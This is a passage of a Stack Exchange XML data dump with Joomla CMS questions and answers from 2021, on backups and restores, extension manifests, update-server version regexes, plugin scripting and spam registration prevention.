  <row Id="31432" PostTypeId="2" ParentId="31417" CreationDate="2021-08-10T23:39:03.963" Score="1" Body="&lt;p&gt;Instead of creating a Tagged Items menu item type, you can create either a Category Blog or Category List menu item (part of the Articles group of menu item types). Either of these menu item types will allow you to choose an article category and also an optional list of tags.&lt;/p&gt;&#xA;" OwnerUserId="14235" LastActivityDate="2021-08-10T23:39:03.963" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31433" PostTypeId="1" CreationDate="2021-08-11T00:03:14.023" Score="2" ViewCount="85" Body="&lt;p&gt;I've backed up my Joomla site with Akeeba, and I'm using Akeeba Kickstart to put the site into a dev environment on a different server with its own cpanel.&lt;/p&gt;&#xA;&lt;p&gt;The dev server has its own database and database prefix, but when I get to the restore database part of Akeeba Kickstart, it's loading the DB name, prefix, user and pass from the live site.&lt;/p&gt;&#xA;&lt;p&gt;Would I need to change all of this to my current cpanel info?&lt;/p&gt;&#xA;" OwnerUserId="15614" LastEditorUserId="12352" LastEditDate="2021-08-11T23:56:05.847" LastActivityDate="2021-08-11T23:56:05.847" Title="Restoring with Akeeba to a new site on cpanel" Tags="|database|akeebabackup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31434" PostTypeId="2" ParentId="31428" CreationDate="2021-08-11T00:23:14.903" Score="3" Body="&lt;p&gt;It would help if you told us what the extension is, so we could be specific. But failing that, try this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Presuming that it's a site component you're dealing with (of course there are different types of extensions), you'll find a  component folder named &lt;code&gt;com_componentname&lt;/code&gt; under &lt;code&gt;[SITE_ROOT]/administrator/components&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In that folder, you'll find an XML file, probably named something like &lt;code&gt;component_name.xml&lt;/code&gt;. The XML file is the component manifest.&lt;/li&gt;&#xA;&lt;li&gt;In the manifest, you will find full lists of files and folders inside the &lt;code&gt;&amp;lt;files folder=&amp;quot;site&amp;quot;&amp;gt;&lt;/code&gt; tags and the &lt;code&gt;&amp;lt;files folder=&amp;quot;admin&amp;quot;&amp;gt;&lt;/code&gt; tags. These two lists will usually refer to assets located in &lt;code&gt;[SITE_ROOT}/components/com_componentname&lt;/code&gt; and &lt;code&gt;[SITE_ROOT}/administrator/components/com_componentname&lt;/code&gt; folders respectively.&lt;/li&gt;&#xA;&lt;li&gt;The manifest may also identify media files and folders inside the &lt;code&gt;&amp;lt;media destination=&amp;quot; ... &amp;quot;&lt;/code&gt; tags, and it might also identify language files stored in the site and/or administrator language folders.&lt;/li&gt;&#xA;&lt;li&gt;You should be able to find all these elements from the component manifest file. You can then collect them together in a zip file. Be sure to preserve the folder structure under &lt;code&gt;[SITE_ROOT]&lt;/code&gt; in your zip file.&lt;/li&gt;&#xA;&lt;li&gt;Now take your zip file over to your new site root and unzip its contents to the same locations they came from.&lt;/li&gt;&#xA;&lt;li&gt;Finally, run the Discover tool in Joomla!'s system extension manager. If all has gone according to plan, your new site will discover the original extension and you can then install it in your new system.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And FWIW you &lt;strong&gt;do not&lt;/strong&gt; run a risk of preferring to work with Joomla!. Joomla! is alive and kicking and can more than hold its own against any other CMS on the market.&lt;/p&gt;&#xA;" OwnerUserId="14235" LastActivityDate="2021-08-11T00:23:14.903" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31435" PostTypeId="2" ParentId="31433" CreationDate="2021-08-11T00:27:00.980" Score="6" Body="&lt;p&gt;Yes you will need to enter the details for the development server database at this step.&lt;/p&gt;&#xA;&lt;p&gt;By default, Akeeba Kickstart will display the database details from the site it was backed up from... it assumes that you're restoring to the same site that you backed up.&lt;/p&gt;&#xA;" OwnerUserId="13675" LastActivityDate="2021-08-11T00:27:00.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31436" PostTypeId="2" ParentId="17086" CreationDate="2021-08-11T02:20:23.983" Score="1" Body="&lt;p&gt;If there's currently a menu item for the site's blog, you can just mark that item as the home page in the menu manager.&lt;/p&gt;&#xA;&lt;p&gt;As for the SEO, this is probably best handled by an SEO extension. I use &lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/joomla-seo.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSSEO!&lt;/a&gt; This tool lets me set a custom SEF URL for each page, as opposed to the system router's URL.&lt;/p&gt;&#xA;&lt;p&gt;You might also be able to get the result you want by setting a canonical page URL. RSSEO! also lets me set that value for each page.&lt;/p&gt;&#xA;" OwnerUserId="14235" LastActivityDate="2021-08-11T02:20:23.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31438" PostTypeId="1" CreationDate="2021-08-11T09:19:03.673" Score="1" ViewCount="70" Body="&lt;p&gt;I am new to use Visual Code for Joomla development.  Watched few videos and referred &lt;a href=&quot;https://docs.joomla.org/Visual_Studio_Code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Visual_Studio_Code&lt;/a&gt; to setup the IDE.&lt;/p&gt;&#xA;&lt;p&gt;I opened couple of PHP files and noticed few errors.  One of the most common error is 'Undefined Type...'&lt;/p&gt;&#xA;&lt;p&gt;Example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Undefined type 'JViewLegacy'.intelephense(1009)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why it is showing the class as Undefined?  Are there any configurations I am missing in VS?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2021-08-11T10:13:38.330" Title="Undefined class in Visual Code for Joomla Extension Development" Tags="|joomla-3.x|visualcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31439" PostTypeId="2" ParentId="31438" CreationDate="2021-08-11T10:13:38.330" Score="3" Body="&lt;p&gt;I managed to resolve this by creating a stubs.php and place it inside the Joomla root folder.&lt;/p&gt;&#xA;&lt;p&gt;Steps to create stubs.php&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded the Joomla build from github&lt;/li&gt;&#xA;&lt;li&gt;Extracted in my local folder&lt;/li&gt;&#xA;&lt;li&gt;Open a command prompt and navigate to joomla folder&lt;/li&gt;&#xA;&lt;li&gt;Run 'php build/stubGenerator.php'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This will create a file stubs.php.  I manually copied this file to my working joomla folder.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2021-08-11T10:13:38.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31440" PostTypeId="1" CreationDate="2021-08-11T22:06:28.060" Score="2" ViewCount="568" Body="&lt;p&gt;Every month there are hundreds of malicious users (most of the registering emails are from some Russian domain) registering my site. This is mixed with scores of authentic users.&lt;/p&gt;&#xA;&lt;p&gt;I have already turned on reCaptcha.&lt;/p&gt;&#xA;&lt;p&gt;What is the proper way to combat these inauthentic user registrations without damaging the user experience for authentic users and without a high cost to my time/diligence?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2021-08-12T23:03:53.567" LastActivityDate="2021-08-12T23:18:32.660" Title="How to prevent spam registration?" Tags="|user|security|user-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31441" PostTypeId="2" ParentId="31440" CreationDate="2021-08-12T03:05:51.907" Score="1" Body="&lt;p&gt;If you only have a low number of real users expected to join you could disable automatic registration and put an approval by admin step in there. On a popular Joomla based forum website we only have one or two a week join so they have to email their details and answer a couple of subject matter questions before we create a user account. It is a lot less time consuming and effort to allocate one or two users manually than clean up the 100's of fake users we were dealing with each day beforehand.&lt;/p&gt;&#xA;&lt;p&gt;For sites with a lot of new registrations of users and fakes you could use this free extenstion from Joomlshack, &lt;a href=&quot;https://www.joomlashack.com/docs/ospam-a-not/how-ospam-a-not-works/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/docs/ospam-a-not/how-ospam-a-not-works/&lt;/a&gt;, which times how fast someone fills in a form with the idea being a bot is going to be quicker than a human.&lt;/p&gt;&#xA;&lt;p&gt;It installs as a plugin and I have checked that it adds its hidden fields to the bottom of the standard 'New Registration' form so it should block bots creating new users but you might need to tweak the time value in the plugin to see what works best with your site.&lt;/p&gt;&#xA;&lt;p&gt;If you have other forms on your site with only a couple of fields you might find a time set in the plugin that is too long might block a human who might be just checking some boxes on a form.&lt;/p&gt;&#xA;&lt;p&gt;It is not a silver bullet that will stop all the fakes, but could work as a another level of defence for your site.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2021-08-12T23:18:32.660" LastActivityDate="2021-08-12T23:18:32.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31442" PostTypeId="1" CreationDate="2021-08-14T10:52:42.130" Score="1" ViewCount="53" Body="&lt;pre&gt;&lt;code&gt;Joomla 3.9.28&#xA;&#xA;PHP 7.4.21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I added a field to the &amp;quot;Users&amp;quot; component to let the users have an avatar photo.&lt;/p&gt;&#xA;&lt;p&gt;This field is set to &amp;quot;Media&amp;quot; type.&lt;/p&gt;&#xA;&lt;p&gt;However, in the Administration of the user, when I try to select an image from the server, I get the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;&#xA;0 Invalid controller: name='mediafield', format=''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know how to fix this or a workaround?&lt;/p&gt;&#xA;" OwnerUserId="15633" LastActivityDate="2021-08-14T10:52:42.130" Title="Add avatar field to user component" Tags="|joomla-3.x|php|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31443" PostTypeId="1" CreationDate="2021-08-16T14:11:22.833" Score="1" ViewCount="31" Body="&lt;p&gt;I use Joomla Custom Canonical plugin for creating the canonical links. It works well, except for the tags: If I switch on the canonical creation for tags and then some of the tags, will drop a 404 error.&lt;/p&gt;&#xA;&lt;p&gt;But not for all tags.&lt;/p&gt;&#xA;&lt;p&gt;For the usual tags &amp;quot;.../component/tags/tag/...&amp;quot; the Custom Canonical works well.&#xA;But if I create a &amp;quot;Compact list of tagged items&amp;quot; Menu Item, then it drops a 404 - page not found error.&lt;/p&gt;&#xA;&lt;p&gt;The site I am trying to fix the canonical: &lt;a href=&quot;https://www.szerver.hu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.szerver.hu/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;An example Compact list of tagged items Menu Item: &lt;a href=&quot;https://www.szerver.hu/munkaallomasok/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.szerver.hu/munkaallomasok/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Have you met this issue before?&lt;/p&gt;&#xA;" OwnerUserId="15636" LastActivityDate="2021-08-16T14:11:22.833" Title="Custom Canonical plugin throws &quot;404 - page not found&quot; error when enabled for Tags" Tags="|plugin|tags|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31444" PostTypeId="1" AcceptedAnswerId="31455" CreationDate="2021-08-17T08:30:22.770" Score="8" ViewCount="192" Body="&lt;p&gt;I have an update server for my extensions, which targets Joomla 3.8 and 3.9&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;3.[89]&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With the release of Joomla 3.10 and 4.0 coming soon, how would I add support for both of these?&lt;/p&gt;&#xA;&lt;p&gt;I know I can add two separate &lt;code&gt;&amp;lt;update&amp;gt;&lt;/code&gt; blocks for 3.x and 4.x, but I'd rather use a regex to support both in a single block.&lt;/p&gt;&#xA;&lt;p&gt;Would something like this work?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;(3.[89]|10)|4.*&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2023-02-10T01:06:59.943" LastActivityDate="2023-02-10T01:06:59.943" Title="Joomla extension update 3.x and 4.x" Tags="|joomla-3.x|joomla-4.x|extension-update|versions|regex|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31447" PostTypeId="1" CreationDate="2021-08-17T14:26:10.867" Score="0" ViewCount="297" Body="&lt;p&gt;Wordpress offers the the ability to get the page in json format by adding &lt;code&gt;/wp-json/&lt;/code&gt; to the url.&lt;/p&gt;&#xA;&lt;p&gt;Now my question is, does Joomla offer a similar option where I could retrieve the page in json format?&lt;/p&gt;&#xA;" OwnerUserId="15641" LastActivityDate="2021-09-17T03:08:05.700" Title="Is it possible to get the page data in json format?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31448" PostTypeId="2" ParentId="31447" CreationDate="2021-08-18T02:20:11.967" Score="1" Body="&lt;p&gt;Yes it can, but as your question doesn't provide much detail it is impossible to say if the 'page' you are referring to is set up to provide data in JSON form.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the component involved it may provide the use of the format=json in the URL, it may be available via the com_ajax component and with Joomla 4 many of the core components now have an API that returns the data in JSON format.&lt;/p&gt;&#xA;&lt;p&gt;Some more reading &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JSON_Responses_with_JResponseJson&lt;/a&gt; and for Joomla 4 &lt;a href=&quot;https://docs.joomla.org/J4.x:Joomla_Core_APIs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Joomla_Core_APIs&lt;/a&gt;, &lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-08-18T02:20:11.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31449" PostTypeId="1" CreationDate="2021-08-18T05:06:04.000" Score="1" ViewCount="194" Body="&lt;p&gt;What is the best way how to add jquery code by Joomla plugin?&lt;/p&gt;&#xA;&lt;p&gt;How can I set that these code should be applied just for checkout page of VirtueMart in xml file?&lt;/p&gt;&#xA;&lt;p&gt;Is this the best way?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;class plgContentHelloworld extends JPlugin&#xA;{&#xA;    public function onAfterRender() {&#xA;        echo '&amp;lt;script&amp;gt;';&#xA;            echo 'alert(&amp;quot;Hello World!&amp;quot;);';&#xA;        echo '&amp;lt;/script&amp;gt;';&#xA;        }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15643" LastEditorUserId="12352" LastEditDate="2021-08-18T12:20:57.060" LastActivityDate="2021-08-19T14:00:19.850" Title="How to create joomla plugin with jquery code" Tags="|joomla-3.x|javascript|joomla-api|virtuemart|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31450" PostTypeId="2" ParentId="31449" CreationDate="2021-08-18T05:38:03.773" Score="1" Body="&lt;p&gt;If you want to use a plugin then you should replace the echo/script you have with code that adds it to the header using the examples here, &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or use a 3rd party plugin like Sourcerer from regular labs to do it for you, &lt;a href=&quot;https://regularlabs.com/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regularlabs.com/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-08-18T05:38:03.773" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31451" PostTypeId="2" ParentId="31449" CreationDate="2021-08-18T06:30:37.473" Score="2" Body="&lt;p&gt;If you are using Joomla 4 you can do it via WebAsset Manager, too: &lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Web_Assets&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;JQuery is shipped with Joomla 4. You do not need to add the library yourself; &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4#jQuery&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4#jQuery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2021-08-18T06:30:37.473" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31452" PostTypeId="1" CreationDate="2021-08-18T08:01:45.953" Score="1" ViewCount="61" Body="&lt;p&gt;I'm looking into ways to minimize/remove JavaScript scripts by providing pre-encoded strings to be used for HTML attributes.&lt;/p&gt;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What kind of string encode does the &lt;code&gt;Uri::getInstance('URL')-&amp;gt;toString()&lt;/code&gt; outputs?&lt;/li&gt;&#xA;&lt;li&gt;Can the &lt;code&gt;Joomla\CMS\Uri\Uri&lt;/code&gt; class be used to create equivalents of the &lt;code&gt;encodeURIComponent&lt;/code&gt; JavaScript method and/or the PHP &lt;code&gt;rawurlencode&lt;/code&gt; function?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-08-18T08:01:45.953" Title="Can the Joomla\CMS\Uri\Uri be used to create URL strings with special encode?" Tags="|php|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31453" PostTypeId="1" CreationDate="2021-08-18T09:26:51.593" Score="1" ViewCount="91" Body="&lt;p&gt;I try to have the plugin working to have a email/password only on the registration form.&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/7392/joomla-registration-remove-unneeded-fields&quot;&gt;Joomla Registration: Remove unneeded fields&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I install the plugin correctly with XML below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&amp;quot;3.1&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;user&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_simple_registration&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_SIMPLE_REGISTRATION_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;SimpleRegistration&amp;quot;&amp;gt;PlgUserSimpleRegistration.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, the plugin is enabled in the backend but never launched.&#xA;-&amp;gt; Is it about the group?&lt;/p&gt;&#xA;&lt;p&gt;I try the have the form name printed but it never show&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    class PlgUserSimpleRegistration extends JPlugin&#xA;{&#xA;    function onContentPrepareForm($form, $data)&#xA;    {&#xA;        $name = $form-&amp;gt;getName();&#xA;        echo &amp;quot;&amp;lt;h2&amp;gt;Simple Registration&amp;quot; .  $name . &amp;quot;&amp;lt;/h2&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I try another plugin 'Regauth' and it works great.&#xA;I don't see any issue on the SimpleRegistration plugin.&lt;/p&gt;&#xA;" OwnerUserId="15640" LastActivityDate="2021-08-18T11:14:01.670" Title="Joomla User Registration Form Plugin not working - simple registration (PlgUserSimpleRegistration)" Tags="|plugin|user|registration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31454" PostTypeId="2" ParentId="31453" CreationDate="2021-08-18T11:14:01.670" Score="3" Body="&lt;p&gt;I finally found the answer&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserSimpleRegistration extends JPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;change &amp;quot;Plg&amp;quot; with &amp;quot;plg&amp;quot;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class plgUserSimpleRegistration extends JPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It's working now&lt;/p&gt;&#xA;" OwnerUserId="15640" LastActivityDate="2021-08-18T11:14:01.670" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31455" PostTypeId="2" ParentId="31444" CreationDate="2021-08-18T23:15:19.357" Score="6" Body="&lt;p&gt;Based on this link that Roland Dalmulder sent me to:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/5fdba4e5ee022517a05ae893d8f7077eaf864bf7/libraries/src/Updater/Adapter/ExtensionAdapter.php#L113&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/5fdba4e5ee022517a05ae893d8f7077eaf864bf7/libraries/src/Updater/Adapter/ExtensionAdapter.php#L113&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;preg_match('/^' . $this-&amp;gt;currentUpdate-&amp;gt;targetplatform['VERSION'] . '/', JVERSION)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is no implementation of &lt;code&gt;preg_quote()&lt;/code&gt;, so the dots (any character / wildcard) will need escaping.&lt;/p&gt;&#xA;&lt;p&gt;I recommend:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;(4|3\.([89]|10))\b&amp;quot;/&amp;gt;&#xA;// same but slightly less efficient:   ((3\.([89]|10))|4)\b &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have removed the trailing &lt;code&gt;.*&lt;/code&gt; because that matching will do nothing to improve the validation.&lt;/p&gt;&#xA;&lt;p&gt;Breakdown: (&lt;a href=&quot;https://regex101.com/r/nvWYsG/2&quot; rel=&quot;noreferrer&quot;&gt;Regex101 Demo with battery of test cases&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/         # opening pattern delimiter&#xA;^         # match start of the string (zero-width match)&#xA;(         # begin capture group 1&#xA;  4       # match a 4&#xA;  |       # or&#xA;  3\.     # match a 3, then a dot&#xA;  (       # begin capture group 2&#xA;    [89]  # match an 8 or a 9&#xA;    |     # or&#xA;    10    # match a 1 then a 0 (which obviously forms 10)&#xA;  )       # end capture group 2&#xA;)         # end capture group 1 &#xA;\b        # a word boundary metacharacter to prevent longer integer values (zero-width match)&#xA;/         # closing pattern delimiter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-08-18T23:26:19.577" LastActivityDate="2021-08-18T23:26:19.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31456" PostTypeId="1" CreationDate="2021-08-19T03:11:26.757" Score="1" ViewCount="225" Body="&lt;p&gt;upgrading one of my sites from Joomla 3.9.x to Joomla 10.1.x and have been introduced to the new pre-update check.&#xA;It tells me to be patient while I wait for the pre-check to complete (thi is my largest site).&lt;/p&gt;&#xA;&lt;p&gt;I had my session time set to 15mins. I tried 3 times and it timed out before updating. I then set the session time to 40mins and STILL the prescheck did not finished /did not happen.&lt;/p&gt;&#xA;&lt;p&gt;I tried to do a live update; ticked the 'Do you wish to ignore the warnings about potentially incompatible plugins and to proceed with the upgrade?' message but the install the update button does not work.&#xA;Not certain where to go next.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Pre-Update_Check&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Pre-Update_Check&lt;/a&gt;  This document does not describe the live update feature and I have not got to the stage of needing to know what all the pre-check messages mean becuase it won't finish the pre-check.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14529" LastActivityDate="2021-08-19T03:11:26.757" Title="Joomla 3.10.x upgrade with new Pre-Update check" Tags="|upgrade|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="31458" PostTypeId="2" ParentId="22283" CreationDate="2021-08-20T11:13:42.400" Score="1" Body="&lt;p&gt;Update: If you are looking for a content filtering solution for Joomla 4, you can try &lt;a href=&quot;https://blue-coder.com/jfilters&quot; rel=&quot;nofollow noreferrer&quot;&gt;JFilters&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Among others, you can filter your articles by Custom Fields, Categories and Tags. Can be combined with the Joomla's Smart Search and is SEO friendly.&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="3969" LastEditDate="2022-04-08T11:43:10.987" LastActivityDate="2022-04-08T11:43:10.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31459" PostTypeId="1" CreationDate="2021-08-22T18:41:45.547" Score="1" ViewCount="70" Body="&lt;p&gt;How can I add a hyperlink in an error message in Joomla4?&lt;/p&gt;&#xA;&lt;p&gt;I used hyperlinks in enqueueMessage text in joomla 3.x without any problems.&lt;/p&gt;&#xA;&lt;p&gt;Now I'm using Joomla 4.x and it removes the hyperlink -- it removes the  &lt;code&gt;href=*&lt;/code&gt; part inside the html tag.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(&#xA;    'Something is wrong &amp;lt;a href = \'/index.php?option=com_hccxmlbeheer&amp;amp;view=nieuwaccount\'&amp;gt;klik to fix&amp;lt;/a&amp;gt;'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Generates:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Something is wrong &amp;lt;a&amp;gt;klik to fix&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I stop &lt;code&gt;enqueueMessage()&lt;/code&gt; stripping the &lt;code&gt;href&lt;/code&gt; attribute from my html text?&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="12352" LastEditDate="2021-08-22T22:51:04.357" LastActivityDate="2021-08-22T22:51:04.357" Title="How to preserve hyperlinks in Joomla4 when using enqueueMessage()?" Tags="|joomla-4|modal|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31460" PostTypeId="2" ParentId="24484" CreationDate="2021-08-23T09:44:00.170" Score="9" Body="&lt;p&gt;If you are developing your extension only for Joomla 4.0+, you can replace&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = Factory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="12352" LastEditDate="2021-08-23T21:24:24.657" LastActivityDate="2021-08-23T21:24:24.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31462" PostTypeId="1" CreationDate="2021-08-24T05:42:27.097" Score="1" ViewCount="1198" Body="&lt;p&gt;I developed several extensions on Joomla 3 and I want to migrate my extensions (components, modules, plugins) to Joomla 4. I searched on the net and I didn't find any information about upgrading J3 component to J4.&lt;/p&gt;&#xA;&lt;p&gt;I want to know if I have to adapt my extensions and if I do, what are the fix I need to apply&lt;/p&gt;&#xA;" OwnerUserId="14063" LastActivityDate="2021-08-25T16:03:01.897" Title="joomla 3 extensions migration to joomla 4" Tags="|extensions|migration|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31464" PostTypeId="1" AcceptedAnswerId="31465" CreationDate="2021-08-25T09:04:46.510" Score="2" ViewCount="1206" Body="&lt;p&gt;I upgraded a few of my sites from 3.9.28 to 3.10.1 today. I can't see any pre-upgrade check as described here &lt;a href=&quot;https://docs.joomla.org/Pre-Update_Check&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Pre-Update_Check&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've cleared the site cache, refreshed the page multiple times and clicked &lt;code&gt;check for updates&lt;/code&gt;. No errors in the browser console.&lt;/p&gt;&#xA;&lt;p&gt;When I go to components &amp;gt; Joomla update I can see the following message on the &lt;code&gt;live update&lt;/code&gt; tab;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You already have the latest Joomla version, 3.10.1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &lt;code&gt;upload &amp;amp; update&lt;/code&gt; tab displays a blue info 